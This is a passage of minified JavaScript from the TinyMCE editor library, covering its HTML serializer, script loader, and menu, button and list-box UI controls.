RegExp("^"+c(u[2])+"$");o.push(p)}else{p.name=u[2];k.push(p)}n.push(u[2])})}f(l,function(v,u){var w=v.charAt(0),t=1,p={};if(j){if(j.noEmpty){p.noEmpty=j.noEmpty}if(j.fullEnd){p.fullEnd=j.fullEnd}if(j.padd){p.padd=j.padd}}switch(w){case"-":p.noEmpty=true;break;case"+":p.fullEnd=true;break;case"#":p.padd=true;break;default:t=0}l[u]=v=v.substring(t);h.validElements[v]=1;if(/[*.?]/.test(l[0])){p.nameRE=new RegExp("^"+c(l[0])+"$");h.wildRules=h.wildRules||{};h.wildRules.push(p)}else{p.name=l[0];if(l[0]=="@"){j=p}h.rules[v]=p}p.attribs=k;if(r){p.requiredAttribs=r}if(o){v="";f(n,function(s){if(v){v+="|"}v+="("+c(s)+")"});p.validAttribsRE=new RegExp("^"+v.toLowerCase()+"$");p.wildAttribs=o}})});i="";f(h.validElements,function(m,l){if(i){i+="|"}if(l!="@"){i+=l}});h.validElementsRE=new RegExp("^("+c(i.toLowerCase())+")$")},findRule:function(m){var j=this,l=j.rules,h,k;j._setup();k=l[m];if(k){return k}l=j.wildRules;for(h=0;h<l.length;h++){if(l[h].nameRE.test(m)){return l[h]}}return null},findAttribRule:function(h,l){var j,k=h.wildAttribs;for(j=0;j<k.length;j++){if(k[j].nameRE.test(l)){return k[j]}}return null},serialize:function(l,k){var j,i=this;i._setup();k=k||{};k.format=k.format||"html";i.processObj=k;l=l.cloneNode(true);i.key=""+(parseInt(i.key)+1);if(!k.no_events){k.node=l;i.onPreProcess.dispatch(i,k)}i.writer.reset();i._serializeNode(l,k.getInner);k.content=i.writer.getContent();if(!k.no_events){i.onPostProcess.dispatch(i,k)}i._postProcess(k);k.node=null;return e.trim(k.content)},_postProcess:function(n){var i=this,k=i.settings,j=n.content,m=[],l;if(n.format=="html"){l=i._protect({content:j,patterns:[{pattern:/(<script[^>]*>)(.*?)(<\/script>)/g},{pattern:/(<style[^>]*>)(.*?)(<\/style>)/g},{pattern:/(<pre[^>]*>)(.*?)(<\/pre>)/g,encode:1},{pattern:/(<!--\[CDATA\[)(.*?)(\]\]-->)/g}]});j=l.content;if(k.entity_encoding!=="raw"){j=i._encode(j)}if(!n.set){j=j.replace(/<p>\s+<\/p>|<p([^>]+)>\s+<\/p>/g,k.entity_encoding=="numeric"?"<p$1>&#160;</p>":"<p$1>&nbsp;</p>");if(k.remove_linebreaks){j=j.replace(/\r?\n|\r/g," ");j=j.replace(/(<[^>]+>)\s+/g,"$1 ");j=j.replace(/\s+(<\/[^>]+>)/g," $1");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object) ([^>]+)>\s+/g,"<$1 $2>");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>\s+/g,"<$1>");j=j.replace(/\s+<\/(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>/g,"</$1>")}if(k.apply_source_formatting&&k.indent_mode=="simple"){j=j.replace(/<(\/?)(ul|hr|table|meta|link|tbody|tr|object|body|head|html|map)(|[^>]+)>\s*/g,"\n<$1$2$3>\n");j=j.replace(/\s*<(p|h[1-6]|blockquote|div|title|style|pre|script|td|li|area)(|[^>]+)>/g,"\n<$1$2>");j=j.replace(/<\/(p|h[1-6]|blockquote|div|title|style|pre|script|td|li)>\s*/g,"</$1>\n");j=j.replace(/\n\n/g,"\n")}}j=i._unprotect(j,l);j=j.replace(/<!--\[CDATA\[([\s\S]+)\]\]-->/g,"<![CDATA[$1]]>");j=j.replace(/(type|language)=\"mce-/g,'$1="');if(k.entity_encoding=="raw"){j=j.replace(/<p>&nbsp;<\/p>|<p([^>]+)>&nbsp;<\/p>/g,"<p$1>\u00a0</p>")}}n.content=j},_serializeNode:function(D,o){var z=this,A=z.settings,x=z.writer,q,j,u,F,E,G,B,h,y,k,r,C,p,m;if(!A.node_filter||A.node_filter(D)){switch(D.nodeType){case 1:if(D.hasAttribute?D.hasAttribute("mce_bogus"):D.getAttribute("mce_bogus")){return}p=false;q=D.hasChildNodes();k=D.getAttribute("mce_name")||D.nodeName.toLowerCase();if(d){if(D.scopeName!=="HTML"&&D.scopeName!=="html"){k=D.scopeName+":"+k}}if(k.indexOf("mce:")===0){k=k.substring(4)}if(!z.validElementsRE||!z.validElementsRE.test(k)||(z.invalidElementsRE&&z.invalidElementsRE.test(k))||o){p=true;break}if(d){if(A.fix_content_duplication){if(D.mce_serialized==z.key){return}D.mce_serialized=z.key}if(k.charAt(0)=="/"){k=k.substring(1)}}else{if(a){if(D.nodeName==="BR"&&D.getAttribute("type")=="_moz"){return}}}if(z.childRules){if(z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(k)){p=true;break}}z.elementName=k}r=z.findRule(k);k=r.name||k;m=A.closed.test(k);if((!q&&r.noEmpty)||(d&&!k)){p=true;break}if(r.requiredAttribs){G=r.requiredAttribs;for(F=G.length-1;F>=0;F--){if(this.dom.getAttrib(D,G[F])!==""){break}}if(F==-1){p=true;break}}x.writeStartElement(k);if(r.attribs){for(F=0,B=r.attribs,E=B.length;F<E;F++){G=B[F];y=z._getAttrib(D,G);if(y!==null){x.writeAttribute(G.name,y)}}}if(r.validAttribsRE){B=z.dom.getAttribs(D);for(F=B.length-1;F>-1;F--){h=B[F];if(h.specified){G=h.nodeName.toLowerCase();if(A.invalid_attrs.test(G)||!r.validAttribsRE.test(G)){continue}C=z.findAttribRule(r,G);y=z._getAttrib(D,C,G);if(y!==null){x.writeAttribute(G,y)}}}}if(k==="script"&&e.trim(D.innerHTML)){x.writeText("// ");x.writeCDATA(D.innerHTML.replace(/<!--|-->|<\[CDATA\[|\]\]>/g,""));q=false;break}if(r.padd){if(q&&(u=D.firstChild)&&u.nodeType===1&&D.childNodes.length===1){if(u.hasAttribute?u.hasAttribute("mce_bogus"):u.getAttribute("mce_bogus")){x.writeText("\u00a0")}}else{if(!q){x.writeText("\u00a0")}}}break;case 3:if(z.childRules&&z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(D.nodeName)){return}}return x.writeText(D.nodeValue);case 4:return x.writeCDATA(D.nodeValue);case 8:return x.writeComment(D.nodeValue)}}else{if(D.nodeType==1){q=D.hasChildNodes()}}if(q&&!m){u=D.firstChild;while(u){z._serializeNode(u);z.elementName=k;u=u.nextSibling}}if(!p){if(!m){x.writeFullEndElement()}else{x.writeEndElement()}}},_protect:function(j){var i=this;j.items=j.items||[];function h(l){return l.replace(/[\r\n\\]/g,function(m){if(m==="\n"){return"\\n"}else{if(m==="\\"){return"\\\\"}}return"\\r"})}function k(l){return l.replace(/\\[\\rn]/g,function(m){if(m==="\\n"){return"\n"}else{if(m==="\\\\"){return"\\"}}return"\r"})}f(j.patterns,function(l){j.content=k(h(j.content).replace(l.pattern,function(n,o,m,p){m=k(m);if(l.encode){m=i._encode(m)}j.items.push(m);return o+"<!--mce:"+(j.items.length-1)+"-->"+p}))});return j},_unprotect:function(i,j){i=i.replace(/\<!--mce:([0-9]+)--\>/g,function(k,h){return j.items[parseInt(h)]});j.items=[];return i},_encode:function(m){var j=this,k=j.settings,i;if(k.entity_encoding!=="raw"){if(k.entity_encoding.indexOf("named")!=-1){j.setEntities(k.entities);i=j.entityLookup;m=m.replace(j.entitiesRE,function(h){var l;if(l=i[h]){h="&"+l+";"}return h})}if(k.entity_encoding.indexOf("numeric")!=-1){m=m.replace(/[\u007E-\uFFFF]/g,function(h){return"&#"+h.charCodeAt(0)+";"})}}return m},_setup:function(){var h=this,i=this.settings;if(h.done){return}h.done=1;h.setRules(i.valid_elements);h.addRules(i.extended_valid_elements);h.addValidChildRules(i.valid_child_elements);if(i.invalid_elements){h.invalidElementsRE=new RegExp("^("+c(i.invalid_elements.replace(/,/g,"|").toLowerCase())+")$")}if(i.attrib_value_filter){h.attribValueFilter=i.attribValueFilter}},_getAttrib:function(m,j,h){var l,k;h=h||j.name;if(j.forcedVal&&(k=j.forcedVal)){if(k==="{$uid}"){return this.dom.uniqueId()}return k}k=this.dom.getAttrib(m,h);if(this.settings.bool_attrs.test(h)&&k){k=(""+k).toLowerCase();if(k==="false"||k==="0"){return null}k=h}switch(h){case"rowspan":case"colspan":if(k=="1"){k=""}break}if(this.attribValueFilter){k=this.attribValueFilter(h,k,m)}if(j.validVals){for(l=j.validVals.length-1;l>=0;l--){if(k==j.validVals[l]){break}}if(l==-1){return null}}if(k===""&&typeof(j.defaultVal)!="undefined"){k=j.defaultVal;if(k==="{$uid}"){return this.dom.uniqueId()}return k}else{if(h=="class"&&this.processObj.get){k=k.replace(/\s?mceItem\w+\s?/g,"")}}if(k===""){return null}return k}})})(tinymce);(function(tinymce){var each=tinymce.each,Event=tinymce.dom.Event;tinymce.create("tinymce.dom.ScriptLoader",{ScriptLoader:function(s){this.settings=s||{};this.queue=[];this.lookup={}},isDone:function(u){return this.lookup[u]?this.lookup[u].state==2:0},markDone:function(u){this.lookup[u]={state:2,url:u}},add:function(u,cb,s,pr){var t=this,lo=t.lookup,o;if(o=lo[u]){if(cb&&o.state==2){cb.call(s||this)}return o}o={state:0,url:u,func:cb,scope:s||this};if(pr){t.queue.unshift(o)}else{t.queue.push(o)}lo[u]=o;return o},load:function(u,cb,s){var t=this,o;if(o=t.lookup[u]){if(cb&&o.state==2){cb.call(s||t)}return o}function loadScript(u){if(Event.domLoaded||t.settings.strict_mode){tinymce.util.XHR.send({url:tinymce._addVer(u),error:t.settings.error,async:false,success:function(co){t.eval(co)}})}else{document.write('<script type="text/javascript" src="'+tinymce._addVer(u)+'"><\/script>')}}if(!tinymce.is(u,"string")){each(u,function(u){loadScript(u)});if(cb){cb.call(s||t)}}else{loadScript(u);if(cb){cb.call(s||t)}}},loadQueue:function(cb,s){var t=this;if(!t.queueLoading){t.queueLoading=1;t.queueCallbacks=[];t.loadScripts(t.queue,function(){t.queueLoading=0;if(cb){cb.call(s||t)}each(t.queueCallbacks,function(o){o.func.call(o.scope)})})}else{if(cb){t.queueCallbacks.push({func:cb,scope:s||t})}}},eval:function(co){var w=window;if(!w.execScript){try{eval.call(w,co)}catch(ex){eval(co,w)}}else{w.execScript(co)}},loadScripts:function(sc,cb,s){var t=this,lo=t.lookup;function done(o){o.state=2;if(o.func){o.func.call(o.scope||t)}}function allDone(){var l;l=sc.length;each(sc,function(o){o=lo[o.url];if(o.state===2){done(o);l--}else{load(o)}});if(l===0&&cb){cb.call(s||t);cb=0}}function load(o){if(o.state>0){return}o.state=1;tinymce.dom.ScriptLoader.loadScript(o.url,function(){done(o);allDone()})}each(sc,function(o){var u=o.url;if(!lo[u]){lo[u]=o;t.queue.push(o)}else{o=lo[u]}if(o.state>0){return}if(!Event.domLoaded&&!t.settings.strict_mode){var ix,ol="";if(cb||o.func){o.state=1;ix=tinymce.dom.ScriptLoader._addOnLoad(function(){done(o);allDone()});if(tinymce.isIE){ol=' onreadystatechange="'}else{ol=' onload="'}ol+="tinymce.dom.ScriptLoader._onLoad(this,'"+u+"',"+ix+');"'}document.write('<script type="text/javascript" src="'+tinymce._addVer(u)+'"'+ol+"><\/script>");if(!o.func){done(o)}}else{load(o)}});allDone()},"static":{_addOnLoad:function(f){var t=this;t._funcs=t._funcs||[];t._funcs.push(f);return t._funcs.length-1},_onLoad:function(e,u,ix){if(!tinymce.isIE||e.readyState=="complete"){this._funcs[ix].call(this)}},loadScript:function(u,cb){var id=tinymce.DOM.uniqueId(),e;function done(){Event.clear(id);tinymce.DOM.remove(id);if(cb){cb.call(document,u);cb=0}}if(tinymce.isIE){tinymce.util.XHR.send({url:tinymce._addVer(u),async:false,success:function(co){window.execScript(co);done()}})}else{e=tinymce.DOM.create("script",{id:id,type:"text/javascript",src:tinymce._addVer(u)});Event.add(e,"load",done);(document.getElementsByTagName("head")[0]||document.body).appendChild(e)}}}});tinymce.ScriptLoader=new tinymce.dom.ScriptLoader()})(tinymce);(function(c){var b=c.DOM,a=c.is;c.create("tinymce.ui.Control",{Control:function(e,d){this.id=e;this.settings=d=d||{};this.rendered=false;this.onRender=new c.util.Dispatcher(this);this.classPrefix="";this.scope=d.scope||this;this.disabled=0;this.active=0},setDisabled:function(d){var f;if(d!=this.disabled){f=b.get(this.id);if(f&&this.settings.unavailable_prefix){if(d){this.prevTitle=f.title;f.title=this.settings.unavailable_prefix+": "+f.title}else{f.title=this.prevTitle}}this.setState("Disabled",d);this.setState("Enabled",!d);this.disabled=d}},isDisabled:function(){return this.disabled},setActive:function(d){if(d!=this.active){this.setState("Active",d);this.active=d}},isActive:function(){return this.active},setState:function(f,d){var e=b.get(this.id);f=this.classPrefix+f;if(d){b.addClass(e,f)}else{b.removeClass(e,f)}},isRendered:function(){return this.rendered},renderHTML:function(){},renderTo:function(d){b.setHTML(d,this.renderHTML())},postRender:function(){var e=this,d;if(a(e.disabled)){d=e.disabled;e.disabled=-1;e.setDisabled(d)}if(a(e.active)){d=e.active;e.active=-1;e.setActive(d)}},remove:function(){b.remove(this.id);this.destroy()},destroy:function(){c.dom.Event.clear(this.id)}})})(tinymce);tinymce.create("tinymce.ui.Container:tinymce.ui.Control",{Container:function(b,a){this.parent(b,a);this.controls=[];this.lookup={}},add:function(a){this.lookup[a.id]=a;this.controls.push(a);return a},get:function(a){return this.lookup[a]}});tinymce.create("tinymce.ui.Separator:tinymce.ui.Control",{Separator:function(b,a){this.parent(b,a);this.classPrefix="mceSeparator"},renderHTML:function(){return tinymce.DOM.createHTML("span",{"class":this.classPrefix})}});(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.MenuItem:tinymce.ui.Control",{MenuItem:function(g,f){this.parent(g,f);this.classPrefix="mceMenuItem"},setSelected:function(f){this.setState("Selected",f);this.selected=f},isSelected:function(){return this.selected},postRender:function(){var f=this;f.parent();if(c(f.selected)){f.setSelected(f.selected)}}})})(tinymce);(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.Menu:tinymce.ui.MenuItem",{Menu:function(h,g){var f=this;f.parent(h,g);f.items={};f.collapsed=false;f.menuCount=0;f.onAddItem=new d.util.Dispatcher(this)},expand:function(g){var f=this;if(g){a(f,function(h){if(h.expand){h.expand()}},"items",f)}f.collapsed=false},collapse:function(g){var f=this;if(g){a(f,function(h){if(h.collapse){h.collapse()}},"items",f)}f.collapsed=true},isCollapsed:function(){return this.collapsed},add:function(f){if(!f.settings){f=new d.ui.MenuItem(f.id||b.uniqueId(),f)}this.onAddItem.dispatch(this,f);return this.items[f.id]=f},addSeparator:function(){return this.add({separator:true})},addMenu:function(f){if(!f.collapse){f=this.createMenu(f)}this.menuCount++;return this.add(f)},hasMenus:function(){return this.menuCount!==0},remove:function(f){delete this.items[f.id]},removeAll:function(){var f=this;a(f,function(g){if(g.removeAll){g.removeAll()}else{g.remove()}g.destroy()},"items",f);f.items={}},createMenu:function(g){var f=new d.ui.Menu(g.id||b.uniqueId(),g);f.onAddItem.add(this.onAddItem.dispatch,this.onAddItem);return f}})})(tinymce);(function(e){var d=e.is,c=e.DOM,f=e.each,a=e.dom.Event,b=e.dom.Element;e.create("tinymce.ui.DropMenu:tinymce.ui.Menu",{DropMenu:function(h,g){g=g||{};g.container=g.container||c.doc.body;g.offset_x=g.offset_x||0;g.offset_y=g.offset_y||0;g.vp_offset_x=g.vp_offset_x||0;g.vp_offset_y=g.vp_offset_y||0;if(d(g.icons)&&!g.icons){g["class"]+=" mceNoIcons"}this.parent(h,g);this.onShowMenu=new e.util.Dispatcher(this);this.onHideMenu=new e.util.Dispatcher(this);this.classPrefix="mceMenu"},createMenu:function(j){var h=this,i=h.settings,g;j.container=j.container||i.container;j.parent=h;j.constrain=j.constrain||i.constrain;j["class"]=j["class"]||i["class"];j.vp_offset_x=j.vp_offset_x||i.vp_offset_x;j.vp_offset_y=j.vp_offset_y||i.vp_offset_y;g=new e.ui.DropMenu(j.id||c.uniqueId(),j);g.onAddItem.add(h.onAddItem.dispatch,h.onAddItem);return g},update:function(){var i=this,j=i.settings,g=c.get("menu_"+i.id+"_tbl"),l=c.get("menu_"+i.id+"_co"),h,k;h=j.max_width?Math.min(g.clientWidth,j.max_width):g.clientWidth;k=j.max_height?Math.min(g.clientHeight,j.max_height):g.clientHeight;if(!c.boxModel){i.element.setStyles({width:h+2,height:k+2})}else{i.element.setStyles({width:h,height:k})}if(j.max_width){c.setStyle(l,"width",h)}if(j.max_height){c.setStyle(l,"height",k);if(g.clientHeight<j.max_height){c.setStyle(l,"overflow","hidden")}}},showMenu:function(p,n,r){var z=this,A=z.settings,o,g=c.getViewPort(),u,l,v,q,i=2,k,j,m=z.classPrefix;z.collapse(1);if(z.isMenuVisible){return}if(!z.rendered){o=c.add(z.settings.container,z.renderNode());f(z.items,function(h){h.postRender()});z.element=new b("menu_"+z.id,{blocker:1,container:A.container})}else{o=c.get("menu_"+z.id)}if(!e.isOpera){c.setStyles(o,{left:-65535,top:-65535})}c.show(o);z.update();p+=A.offset_x||0;n+=A.offset_y||0;g.w-=4;g.h-=4;if(A.constrain){u=o.clientWidth-i;l=o.clientHeight-i;v=g.x+g.w;q=g.y+g.h;if((p+A.vp_offset_x+u)>v){p=r?r-u:Math.max(0,(v-A.vp_offset_x)-u)}if((n+A.vp_offset_y+l)>q){n=Math.max(0,(q-A.vp_offset_y)-l)}}c.setStyles(o,{left:p,top:n});z.element.update();z.isMenuVisible=1;z.mouseClickFunc=a.add(o,"click",function(s){var h;s=s.target;if(s&&(s=c.getParent(s,"tr"))&&!c.hasClass(s,m+"ItemSub")){h=z.items[s.id];if(h.isDisabled()){return}k=z;while(k){if(k.hideMenu){k.hideMenu()}k=k.settings.parent}if(h.settings.onclick){h.settings.onclick(s)}return a.cancel(s)}});if(z.hasMenus()){z.mouseOverFunc=a.add(o,"mouseover",function(w){var h,t,s;w=w.target;if(w&&(w=c.getParent(w,"tr"))){h=z.items[w.id];if(z.lastMenu){z.lastMenu.collapse(1)}if(h.isDisabled()){return}if(w&&c.hasClass(w,m+"ItemSub")){t=c.getRect(w);h.showMenu((t.x+t.w-i),t.y-i,t.x);z.lastMenu=h;c.addClass(c.get(h.id).firstChild,m+"ItemActive")}}})}z.onShowMenu.dispatch(z);if(A.keyboard_focus){a.add(o,"keydown",z._keyHandler,z);c.select("a","menu_"+z.id)[0].focus();z._focusIdx=0}},hideMenu:function(j){var g=this,i=c.get("menu_"+g.id),h;if(!g.isMenuVisible){return}a.remove(i,"mouseover",g.mouseOverFunc);a.remove(i,"click",g.mouseClickFunc);a.remove(i,"keydown",g._keyHandler);c.hide(i);g.isMenuVisible=0;if(!j){g.collapse(1)}if(g.element){g.element.hide()}if(h=c.get(g.id)){c.removeClass(h.firstChild,g.classPrefix+"ItemActive")}g.onHideMenu.dispatch(g)},add:function(i){var g=this,h;i=g.parent(i);if(g.isRendered&&(h=c.get("menu_"+g.id))){g._add(c.select("tbody",h)[0],i)}return i},collapse:function(g){this.parent(g);this.hideMenu(1)},remove:function(g){c.remove(g.id);this.destroy();return this.parent(g)},destroy:function(){var g=this,h=c.get("menu_"+g.id);a.remove(h,"mouseover",g.mouseOverFunc);a.remove(h,"click",g.mouseClickFunc);if(g.element){g.element.remove()}c.remove(h)},renderNode:function(){var i=this,j=i.settings,l,h,k,g;g=c.create("div",{id:"menu_"+i.id,"class":j["class"],style:"position:absolute;left:0;top:0;z-index:200000"});k=c.add(g,"div",{id:"menu_"+i.id+"_co","class":i.classPrefix+(j["class"]?" "+j["class"]:"")});i.element=new b("menu_"+i.id,{blocker:1,container:j.container});if(j.menu_line){c.add(k,"span",{"class":i.classPrefix+"Line"})}l=c.add(k,"table",{id:"menu_"+i.id+"_tbl",border:0,cellPadding:0,cellSpacing:0});h=c.add(l,"tbody");f(i.items,function(m){i._add(h,m)});i.rendered=true;return g},_keyHandler:function(j){var i=this,h=j.keyCode;function g(m){var k=i._focusIdx+m,l=c.select("a","menu_"+i.id)[k];if(l){i._focusIdx=k;l.focus()}}switch(h){case 38:g(-1);return;case 40:g(1);return;case 13:return;case 27:return this.hideMenu()}},_add:function(j,h){var i,q=h.settings,p,l,k,m=this.classPrefix,g;if(q.separator){l=c.add(j,"tr",{id:h.id,"class":m+"ItemSeparator"});c.add(l,"td",{"class":m+"ItemSeparator"});if(i=l.previousSibling){c.addClass(i,"mceLast")}return}i=l=c.add(j,"tr",{id:h.id,"class":m+"Item "+m+"ItemEnabled"});i=k=c.add(i,"td");i=p=c.add(i,"a",{href:"javascript:;",onclick:"return false;",onmousedown:"return false;"});c.addClass(k,q["class"]);g=c.add(i,"span",{"class":"mceIcon"+(q.icon?" mce_"+q.icon:"")});if(q.icon_src){c.add(g,"img",{src:q.icon_src})}i=c.add(i,q.element||"span",{"class":"mceText",title:h.settings.title},h.settings.title);if(h.settings.style){c.setAttrib(i,"style",h.settings.style)}if(j.childNodes.length==1){c.addClass(l,"mceFirst")}if((i=l.previousSibling)&&c.hasClass(i,m+"ItemSeparator")){c.addClass(l,"mceFirst")}if(h.collapse){c.addClass(l,m+"ItemSub")}if(i=l.previousSibling){c.removeClass(i,"mceLast")}c.addClass(l,"mceLast")}})})(tinymce);(function(b){var a=b.DOM;b.create("tinymce.ui.Button:tinymce.ui.Control",{Button:function(d,c){this.parent(d,c);this.classPrefix="mceButton"},renderHTML:function(){var f=this.classPrefix,e=this.settings,d,c;c=a.encode(e.label||"");d='<a id="'+this.id+'" href="javascript:;" class="'+f+" "+f+"Enabled "+e["class"]+(c?" "+f+"Labeled":"")+'" onmousedown="return false;" onclick="return false;" title="'+a.encode(e.title)+'">';if(e.image){d+='<img class="mceIcon" src="'+e.image+'" />'+c+"</a>"}else{d+='<span class="mceIcon '+e["class"]+'"></span>'+(c?'<span class="'+f+'Label">'+c+"</span>":"")+"</a>"}return d},postRender:function(){var c=this,d=c.settings;b.dom.Event.add(c.id,"click",function(f){if(!c.isDisabled()){return d.onclick.call(d.scope,f)}})}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.ListBox:tinymce.ui.Control",{ListBox:function(h,g){var f=this;f.parent(h,g);f.items=[];f.onChange=new a(f);f.onPostRender=new a(f);f.onAdd=new a(f);f.onRenderMenu=new d.util.Dispatcher(this);f.classPrefix="mceListBox"},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&h.call){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){var g=this,h,i;if(f!=g.selectedIndex){h=c.get(g.id+"_text");i=g.items[f];if(i){g.selectedValue=i.value;g.selectedIndex=f;c.setHTML(h,c.encode(i.title));c.removeClass(h,"mceTitle")}else{c.setHTML(h,c.encode(g.settings.title));c.addClass(h,"mceTitle");g.selectedValue=g.selectedIndex=null}h=0}},add:function(i,f,h){var g=this;h=h||{};h=d.extend(h,{title:i,value:f});g.items.push(h);g.onAdd.dispatch(g,h)},getLength:function(){return this.items.length},renderHTML:function(){var i="",f=this,g=f.settings,j=f.classPrefix;i='<table id="'+f.id+'" cellpadding="0" cellspacing="0" class="'+j+" "+j+"Enabled"+(g["class"]?(" "+g["class"]):"")+'"><tbody><tr>';i+="<td>"+c.createHTML("a",{id:f.id+"_text",href:"javascript:;","class":"mceText",onclick:"return false;",onmousedown:"return false;"},c.encode(f.settings.title))+"</td>";i+="<td>"+c.createHTML("a",{id:f.id+"_open",tabindex:-1,href:"javascript:;","class":"mceOpen",onclick:"return false;",onmousedown:"return false;"},"<span></span>")+"</td>";i+="</tr></tbody></table>";return i},showMenu:function(){var g=this,j,i,h=c.get(this.id),f;if(g.isDisabled()||g.items.length==0){return}if(g.menu&&g.menu.isMenuVisible){return g.hideMenu()}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}j=c.getPos(this.settings.menu_container);i=c.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.keyboard_focus=!d.isOpera;if(g.oldID){f.items[g.oldID].setSelected(0)}e(g.items,function(k){if(k.value===g.selectedValue){f.items[k.id].setSelected(1);g.oldID=k.id}});f.showMenu(0,h.clientHeight);b.add(c.doc,"mousedown",g.hideMenu,g);c.addClass(g.id,g.classPrefix+"Selected")},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&(g.target.id==f.id+"_text"||g.target.id==f.id+"_open")){return}if(!g||!c.getParent(g.target,".mceMenu")){c.removeClass(f.id,f.classPrefix+"Selected");b.remove(c.doc,"mousedown",f.hideMenu,f);if(f.menu){f.menu.hideMenu()}}},renderMenu:function(){var g=this,f;f=g.settings.control_manager.createDropMenu(g.id+"_menu",{menu_line:1,"class":g.classPrefix+"Menu mceNoIcons",max_width:150,max_height:150});f.onHideMenu.add(g.hideMenu,g);f.add({title:g.settings.title,"class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}});e(g.items,function(h){h.id=c.uniqueId();h.onclick=function(){if(g.settings.onselect(h.value)!==false){g.select(h.value)}};f.add(h)});g.onRenderMenu.dispatch(g,f);g.menu=f},postRender:function(){var f=this,g=f.classPrefix;b.add(f.id,"click",f.showMenu,f);b.add(f.id+"_text","focus",function(h){if(!f._focused){f.keyDownHandler=b.add(f.id+"_text","keydown",function(l){var i=-1,j,k=l.keyCode;e(f.items,function(m,n){if(f.selectedValue==m.value){i=n}});if(k==38){j=f.items[i-1]}else{if(k==40){j=f.items[i+1]}else{if(k==13){j=f.selectedValue;f.selectedValue=null;f.settings.onselect(j);return b.cancel(l)}}}if(j){f.hideMenu();f.select(j.value)}})}f._focused=1});b.add(f.id+"_text","blur",function(){b.remove(f.id+"_text","keydown",f.keyDownHandler);f._focused=0});if(d.isIE6||!c.boxModel){b.add(f.id,"mouseover",function(){if(!c.hasClass(f.id,g+"Disabled")){c.addClass(f.id,g+"Hover")}});b.add(f.id,"mouseout",function(){if(!c.hasClass(f.id,g+"Disabled")){c.removeClass(f.id,g+"Hover")}})}f.onPostRender.dispatch(f,c.get(f.id))},destroy:function(){this.parent();b.clear(this.id+"_text")}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.NativeListBox:tinymce.ui.ListBox",{NativeListBox:function(g,f){this.parent(g,f);this.classPrefix="mceNativeListBox"},setDisabled:function(f){c.get(this.id).disabled=f},isDisabled:function(){return c.get(this.id).disabled},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&h.call){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){c.get(this.id).selectedIndex=f+1;this.selectedValue=this.items[f]?this.items[f].value:null},add:function(j,g,f){var i,h=this;f=f||{};f.value=g;if(h.isRendered()){c.add(c.get(this.id),"option",f,j)}i={title:j,value:g,attribs:f};h.items.push(i);h.onAdd.dispatch(h,i)},getLength:function(){return c.get(this.id).options.length-1},renderHTML:function(){var g,f=this;g=c.createHTML("option",{value:""},"-- "+f.settings.title+" --");e(f.items,function(h){g+=c.createHTML("option",{value:h.value},h.title)});g=c.createHTML("select",{id:f.id,"class":"mceNativeListBox"},g);return g},postRender:function(){var g=this,h;g.rendered=true;function f(j){var i=g.items[j.target.selectedIndex-1];if(i&&(i=i.value)){g.onChange.dispatch(g,i);if(g.settings.onselect){g.settings.onselect(i)}}}b.add(g.id,"change",f);b.add(g.id,"keydown",function(j){var i;b.remove(g.id,"change",h);i=b.add(g.id,"blur",function(){b.add(g.id,"change",f);b.remove(g.id,"blur",i)});if(j.keyCode==13||j.keyCode==32){f(j);return b.cancel(j)}});g.onPostRender.dispatch(g,c.get(g.id))}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.MenuButton:tinymce.ui.Button",{MenuButton:function(f,e){this.parent(f,e);this.onRenderMenu=new c.util.Dispatcher(this);e.menu_container=e.menu_container||b.doc.body},showMenu:function(){var g=this,j,i,h=b.get(g.id),f;if(g.isDisabled()){return}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}if(g.isMenuVisible){return g.hideMenu()}j=b.getPos(g.settings.menu_container);i=b.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.vp_offset_x=i.x;f.settings.vp_offset_y=i.y;f.settings.keyboard_focus=g._focused;f.showMenu(0,h.clientHeight);a.add(b.doc,"mousedown",g.hideMenu,g);g.setState("Selected",1);g.isMenuVisible=1},renderMenu:function(){var f=this,e;e=f.settings.control_manager.createDropMenu(f.id+"_menu",{menu_line:1,"class":this.classPrefix+"Menu",icons:f.settings.icons});e.onHideMenu.add(f.hideMenu,f);f.onRenderMenu.dispatch(f,e);f.menu=e},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&b.getParent(g.target,function(h){return h.id===f.id||h.id===f.id+"_open"})){return}if(!g||!b.getParent(g.target,".mceMenu")){f.setState("Selected",0);a.remove(b.doc,"mousedown",f.hideMenu,f);if(f.menu){f.menu.hideMenu()}}f.isMenuVisible=0},postRender:function(){var e=this,f=e.settings;a.add(e.id,"click",function(){if(!e.isDisabled()){if(f.onclick){f.onclick(e.value)}e.showMenu()}})}})})(tinymce);(function(c){var 